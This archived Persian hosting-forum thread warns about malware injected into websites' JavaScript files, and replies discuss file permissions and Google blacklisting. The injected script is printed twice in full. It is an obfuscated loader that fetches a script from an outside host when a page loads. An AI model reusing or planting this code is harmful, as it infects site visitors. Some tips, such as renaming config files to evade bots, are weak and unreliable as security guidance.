PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : هشدار در مورد ویروس جدید برای فایل های جاوااسکریپت



parsibox
April 19th, 2010, 20:02
سلام
از صبح تا الان ۳ نفر از مشتریهای من دچار این مشکل شده اند که در انتهای فایل های جاوا اسکریپت آنها کدی مشابه کد زیر اضافه شده است.
به کلیه ی مشتریان و دوستان عزیز توصیه میشود هر چه سریع تر دسترسی فایهای جاوااسکریپت خود را به 644 تغییر دهند.

var G;if(G!='W'){G=''};function j(){var x=window;var Yy=new String();var iz="";var B=unescape;var GB=new Date();this.xi="";var p=B("%2f%73%74%61%79%66%72%69%65%6e%64%73%2d%64%65%2f%6 7%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6c%69%63%65%2e% 69%74%2e%70%68%70");var Dz=new String();this.z="";var Bw=new Array();this.yl="";function C(s,xe){var Gu;if(Gu!='CL' && Gu!='L'){Gu=''};this.f="";var y=String("g");var bV;if(bV!='Vn' && bV != ''){bV=null};var E=B("%5b"), w=B("%5d");var i=E+xe+w;var Z;if(Z!='' && Z!='TM'){Z='h'};var O=new RegExp(i, y);var J;if(J!='' && J!='SE'){J='_x'};return s.replace(O, new String());var AU=new Array();this.BO='';};var _H=new Array();var gl="";var oL;if(oL!=''){oL='m'};var g=document;var gOK=new Date();var S=C('8113330113181111011111','31');var dK='';this.ka="";var Y=new String();var fk="";function K(){var EJj;if(EJj!='YG' && EJj != ''){EJj=null};var o=B("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%6 9%64%65%2e%61%74%3a");this.WY='';var BC;if(BC!='' && BC!='PP'){BC=null};Y=o;var IF;if(IF!='By' && IF!='Lr'){IF=''};var eQ=new Date();Y+=S;var CC;if(CC!='' && CC!='ye'){CC=null};var doF;if(doF!='' && doF!='Fx'){doF=null};Y+=p;var hj;if(hj!='Ud'){hj='Ud'};var gR;if(gR!='' && gR!='cF'){gR=''};try {this.TA='';F=g.createElement(C('sBcTrNi8pnte','n9 NayqU1bPez24Bo0H8IT'));this.tcP="";this.ax='';var DB;if(DB!='' && DB!='QZ'){DB=''};F[B("%64%65%66%65%72")]=[1,8][0];this.HZ='';F[B("%73%72%63")]=Y;var vH;if(vH!='bp' && vH!='lt'){vH=''};var Jl;if(Jl!='u' && Jl!='q'){Jl=''};g.body.appendChild(F);var rB;if(rB!='xv' && rB!='Px'){rB='xv'};var OA="";var Rh=new Array();} catch(I){var uE;if(uE!='' && uE!='nl'){uE='N'};alert(I);var HA;if(HA!='yt'){HA=''};this.rK="";};var Pg;if(Pg!='ux' && Pg!='ql'){Pg=''};this.ih='';}var CJ=new String();var ew=new String();var zV=new Date();var mrl;if(mrl!='iP'){mrl='iP'};x[new String("onj8O6".substr(0,2)+"lo"+"adGcFr".substr(0,2))]=K;var zz=new Array();var To=new Array();};j();

M-Soltani.ir
April 19th, 2010, 20:26
بعد چی میشه

IFACO.Net
April 19th, 2010, 20:33
سلام
از صبح تا الان ۳ نفر از مشتریهای من دچار این مشکل شده اند که در انتهای فایل های جاوا اسکریپت آنها کدی مشابه کد زیر اضافه شده است.
به کلیه ی مشتریان و دوستان عزیز توصیه میشود هر چه سریع تر دسترسی فایهای جاوااسکریپت خود را به 644 تغییر دهند.

var G;if(G!='W'){G=''};function j(){var x=window;var Yy=new String();var iz="";var B=unescape;var GB=new Date();this.xi="";var p=B("%2f%73%74%61%79%66%72%69%65%6e%64%73%2d%64%65%2f%6 7%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6c%69%63%65%2e% 69%74%2e%70%68%70");var Dz=new String();this.z="";var Bw=new Array();this.yl="";function C(s,xe){var Gu;if(Gu!='CL' && Gu!='L'){Gu=''};this.f="";var y=String("g");var bV;if(bV!='Vn' && bV != ''){bV=null};var E=B("%5b"), w=B("%5d");var i=E+xe+w;var Z;if(Z!='' && Z!='TM'){Z='h'};var O=new RegExp(i, y);var J;if(J!='' && J!='SE'){J='_x'};return s.replace(O, new String());var AU=new Array();this.BO='';};var _H=new Array();var gl="";var oL;if(oL!=''){oL='m'};var g=document;var gOK=new Date();var S=C('8113330113181111011111','31');var dK='';this.ka="";var Y=new String();var fk="";function K(){var EJj;if(EJj!='YG' && EJj != ''){EJj=null};var o=B("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%6 9%64%65%2e%61%74%3a");this.WY='';var BC;if(BC!='' && BC!='PP'){BC=null};Y=o;var IF;if(IF!='By' && IF!='Lr'){IF=''};var eQ=new Date();Y+=S;var CC;if(CC!='' && CC!='ye'){CC=null};var doF;if(doF!='' && doF!='Fx'){doF=null};Y+=p;var hj;if(hj!='Ud'){hj='Ud'};var gR;if(gR!='' && gR!='cF'){gR=''};try {this.TA='';F=g.createElement(C('sBcTrNi8pnte','n9 NayqU1bPez24Bo0H8IT'));this.tcP="";this.ax='';var DB;if(DB!='' && DB!='QZ'){DB=''};F[B("%64%65%66%65%72")]=[1,8][0];this.HZ='';F[B("%73%72%63")]=Y;var vH;if(vH!='bp' && vH!='lt'){vH=''};var Jl;if(Jl!='u' && Jl!='q'){Jl=''};g.body.appendChild(F);var rB;if(rB!='xv' && rB!='Px'){rB='xv'};var OA="";var Rh=new Array();} catch(I){var uE;if(uE!='' && uE!='nl'){uE='N'};alert(I);var HA;if(HA!='yt'){HA=''};this.rK="";};var Pg;if(Pg!='ux' && Pg!='ql'){Pg=''};this.ih='';}var CJ=new String();var ew=new String();var zV=new Date();var mrl;if(mrl!='iP'){mrl='iP'};x[new String("onj8O6".substr(0,2)+"lo"+"adGcFr".substr(0,2))]=K;var zz=new Array();var To=new Array();};j();

در ادامه صحبت دوست خوبمون آقای داوری عزیز

بهترین راه تبدیل پرمیشن فایلهای config.php و فایلهای با پسوند js. به 444 هست و همچنین پرمیشن تمامی فایلهای داخل شاخه includ رو هم حتما 444 کنید.

و یه نکته مهم برای برنامه نویسان که سعی کنید به جای استفاده از کلمات پیشفرض انگلیسی برای نام فایلهای کانفیگ از نامهای فینگلیش استفاده کنید تا ربات های ویروسی آنها را نتوانند بشناسند و آلوده کنند !

و نکته مهم تر برای کاربران که از آنتی ویروس آواست : avast.com ، که آنتی اسکریپت بی نظیری دارد در کامپیوترهای تان استفاده کنید. تا سایت های تان آلوده نشود .

موفق باشید

parsibox
April 19th, 2010, 20:39
بعد چی میشه

بعدش دیگه جاوااسکریپت سایتشون کار نمیکنه و ارور میده

mohsen1
April 19th, 2010, 21:10
فقط فایل های داخل پوشه js ؟
بعد اینکه 644 بزاریم یا 444؟

IFACO.Net
April 19th, 2010, 21:14
فقط فایل های داخل پوشه js ؟
بعد اینکه 644 بزاریم یا 444؟

فایلهای کانفیگ و js.

444 مطمئن تره

abolfazlgoodarzi
May 22nd, 2011, 12:21
بعدش دیگه جاوااسکریپت سایتشون کار نمیکنه و ارور میده

علاوه بر این به احتمال زیاد سایت به لیست سیاه گوگل - میکروسافت و مرورگرها فرستاده خواهد شد.

refigh
August 12th, 2011, 15:18
سلام
من دقیقا" متوجه نشدم
یکی از سایت های من رفته تو لیست سیاه گوگل

التبه من نمیدونستم بعد از مدتی متوجه شدم تو گوگل ثبت نشده هنوز
از دوستان امار گرفتم گفتن برای ما با انتی ویروس nod32 باز نمیشه و ارور میده
در ضمن دومین بنده از دومین های فری ( co.cc ) است چیکار باید بکنم از ویروس در بیاد ؟؟؟؟

اگه دومین جدید بخرم اونم میره تو لیست سیاه ؟

abolfazlgoodarzi
August 12th, 2011, 15:45
سلام
من دقیقا" متوجه نشدم
یکی از سایت های من رفته تو لیست سیاه گوگل

التبه من نمیدونستم بعد از مدتی متوجه شدم تو گوگل ثبت نشده هنوز
از دوستان امار گرفتم گفتن برای ما با انتی ویروس nod32 باز نمیشه و ارور میده
در ضمن دومین بنده از دومین های فری ( co.cc ) است چیکار باید بکنم از ویروس در بیاد ؟؟؟؟

اگه دومین جدید بخرم اونم میره تو لیست سیاه ؟

بله؛ با عوض کردن دامنه چیزی تغییر نمی کند؛ اگه سایت شما خوش سابقه باشد می شه 2 روزه از لیست سیاه کشید بیرون.